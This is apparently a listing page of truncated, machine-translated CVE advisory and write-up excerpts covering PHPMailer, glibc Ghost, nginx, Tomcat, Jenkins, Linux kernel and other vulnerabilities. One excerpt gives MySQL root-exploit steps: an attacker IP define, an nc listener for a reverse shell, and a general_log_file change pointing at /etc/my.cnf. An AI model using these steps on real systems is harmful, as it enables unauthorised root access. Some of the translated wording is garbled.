cve details

Lantronix xPrintServer hard-coded credential Vulnerability (CVE-2016-4325)Lantronix xPrintServer hard-coded credential Vulnerability (CVE-2016-4325) Release date:Updated on:Affected Systems: Lantronix xPrintServer Description: CVE (CAN) ID: CVE-2016-4325Lantronix xPrintServer is a plug-and-play mobile printing s

Phpmailer This article will briefly demonstrate the use of the Phpmailer Remote Code Execution Vulnerability (CVE-2016-10033), using a Docker environment that someone else has already built, see the reference link.The lab environment is on Ubuntu 16.04.3, using Docker mirroring.Installing and using Docker imagesTo install Docker on Ubuntu First, you can install it using the following command:[Email protected]:~#apt-Get Install docker.io "Installing do

Vulnerability Hazard :"CVE 2015-0235:gnu glibc gethostbyname buffer Overflow Vulnerability" is a full-blown outbreak that resulted in the discovery of a glibc in the GNU C library (__nss_hostname) when Qualys company was conducting internal code audits The _digits_dots function caused a buffer overflow vulnerability. This bug can be triggered by the gethostbyname * () function, both locally and remotely. The vulnerability (Ghost vulnerability) caused

Release date:Updated on: Affected Systems:Nginx 1.5.10Description:--------------------------------------------------------------------------------Bugtraq id: 67507CVE (CAN) ID: CVE-2014-0088Nginx is an HTTP and reverse proxy server. It is also used as a mail proxy server and compiled by Igor Sysoev.When nginx SPDY Implementation 1.5.10 runs on a 32-bit platform, the ngx_http_spdy_module stores the SPDY Implementation, allowing remote attackers to exec

Release date:Updated on: Affected Systems:QEMUDescription:--------------------------------------------------------------------------------Bugtraq id: 66464CVE (CAN) ID: CVE-2014-0145QEMU is an open source simulator software.QEMU has multiple buffer overflow vulnerabilities. Attackers can exploit these vulnerabilities to execute arbitrary code in the context of the affected application.*> Suggestion:---------------------------------------------------

GitLab not affected by Git Security Vulnerabilities CVE-2014-9390 Yesterday, Git reported a serious security vulnerability. This vulnerability affects all official Git Client versions. Due to this vulnerability, git.oschina.net, GitLab.com, GitLab community edition, and Enterprise Edition are not directly affected. This vulnerability exists when the Git and Git compatible clients access the Git repository, and the file names in the file system are c

ADB backupAgent Privilege Escalation Vulnerability Analysis (CVE-2014-7953) 0x00 AbstractCVE-2014-7953 is an Elevation of Privilege Vulnerability in android backup agent. The bindBackupAgent method in ActivityManagerService fails to validate the passed uid parameter. Combined with another race condition exploitation technique, attackers can execute code as any uid (application), including system (uid 1000 ). This article analyzes the vulnerability in

Principle Analysis of Word type Obfuscation Vulnerability (CVE-2015-1641) AforementionedWord does not verify the customXML object when parsing docx documents to process the displacedbymmxml attribute. It can pass in other tag objects for processing, resulting in type confusion and arbitrary memory writing, finally, the well-constructed labels and corresponding attribute values can cause remote arbitrary code execution.The Exploitation

Label:Reference: http://bobao.360.cn/learning/detail/3027.html, I tried the first method of 1. First modify the MYSQL_HOOKANDROOT_LIB.C inside the bounce address and port: #define ATTACKERS_IP "xx.x.x.x" #define SHELL_PORT 81 Port monitoring on the attacker's machine, waiting for bounce: NC-LVV-P 81 　　 2. Compiling the LibraryGcc-wall-fpic-shared-o mysql_hookandroot_lib.so MYSQL_HOOKANDROOT_LIB.C-LDL 3. Execute the command: mysql> Set Global general_log_file = '/etc/my.cnf '; mysql> Set Globa

Release date:Updated on: Affected Systems:Apache Group Tomcat 6.0.33-6.0.37Description:--------------------------------------------------------------------------------Bugtraq id: 65769CVE (CAN) ID: CVE-2014-0033 Apache Tomcat is a popular open-source JSP application server program. Tomcat 6.0.33-6.0.37 has a session fixation vulnerability in the implementation of disableURLRewriting. Attackers can exploit this vulnerability to hijack arbitrary sess

Type:When constructing a malicious XML document to send to the server-side interface , the content type should be aware of XML. Safety reinforcementL Update Jenkins to the latest version 1.650 above.L Jenkins do access control, the income intranet is not open to the outside network.L prohibit anonymous access to Jenkins.l Ensure that each Jenkins account is not a weak password.Reference Links:Https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstreamhttps://www.

Operating Machine :Ubuntu 15.10（内核版本4.2.0） chocobo_root: Is the POC file for this trial, which is executed to verify the vulnerability Introduction to VulnerabilityThe vulnerability could be used to execute kernel code from an unauthorized process where an attacker could exploit the vulnerability to cause a denial of service (System crash) or elevation to administrator privileges by requiring only local normal permissions.This vulnerability first appeared in the code of

Linux 2.6.31 Local Code Execution Vulnerability (CVE-2014-0196) To put it simply, this is a local code execution vulnerability that has existed since Linux 2.6.31-rc3 for five years. As a result, attackers will obtain the root shell and it will not be fixed until May 3 this year. CVE-2014-0196A race condition in the pty (pseudo terminal) layer (writer buffer handling), which could be used by attackers to co

Apache WSS4J Information Leakage Vulnerability (CVE-2015-0226)Apache WSS4J Information Leakage Vulnerability (CVE-2015-0226) Release date:Updated on:Affected Systems: Apache Group WSS4J Apache Group WSS4J Description: Bugtraq id: 72553CVE (CAN) ID: CVE-2015-0226WSS4J implements WS-Security, which is the Security module of AXIS, but can also be used in othe

Xen arch/x86/mm. c mod_l2_entry Privilege Elevation Vulnerability (CVE-2015-7835)Xen arch/x86/mm. c mod_l2_entry Privilege Elevation Vulnerability (CVE-2015-7835) Release date:Updated on:Affected Systems: XenSource Xen 3.4-4.6.x Description: CVE (CAN) ID: CVE-2015-7835Xen is an open-source Virtual Machine monitor

Linux Kernel 'kernel/bpf/verifier. c' local information leakage (CVE-2017-17864)Linux Kernel 'kernel/bpf/verifier. c' local information leakage (CVE-2017-17864) Release date:Updated on:Affected Systems: Linux kernel Description: Bugtraq id: 102320CVE (CAN) ID: CVE-2017-17864Linux Kernel is the Kernel of the Linux operating system.Linux kernel *>Suggestion: Ven

Linux Kernel Local Denial of Service Vulnerability (CVE-2017-17807)Linux Kernel Local Denial of Service Vulnerability (CVE-2017-17807) Release date:Updated on:Affected Systems: Linux kernel Description: Bugtraq id: 102301CVE (CAN) ID: CVE-2017-17807Linux Kernel is the Kernel of the Linux operating system.In versions earlier than Linux kernel 4.14.6, the KE

Exiv2 Heap Buffer Overflow Vulnerability (CVE-2017-17669)Exiv2 Heap Buffer Overflow Vulnerability (CVE-2017-17669) Release date:Updated on:Affected Systems: Exiv2 Exiv2 0.26 Description: Bugtraq id: 102265CVE (CAN) ID: CVE-2017-17669Exiv2 is a C ++ class library used to extract the EXIF, LPTC, and XMP metadata information in the image.Exiv2 0.26, pngchunk_i

CURL/libcurl Vulnerability (CVE-2015-3153)CURL/libcurl Vulnerability (CVE-2015-3153) Release date:Updated on:Affected Systems: CURL Description: CVE (CAN) ID: CVE-2015-3153CURL/libcURL is a command line FILE transmission tool that supports FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE, and LDAP.In versions

Linux Kernel Multiple Memory Corruption Vulnerabilities (CVE-2018-8822)Linux Kernel Multiple Memory Corruption Vulnerabilities (CVE-2018-8822) Release date:Updated on:Affected Systems: Linux kernel Linux kernel 4.16-rc-4.16-rc6 Description: Bugtraq id: 103476CVE (CAN) ID: CVE-2018-8822Linux Kernel is the Kernel of the Linux operating system.In some Linux ke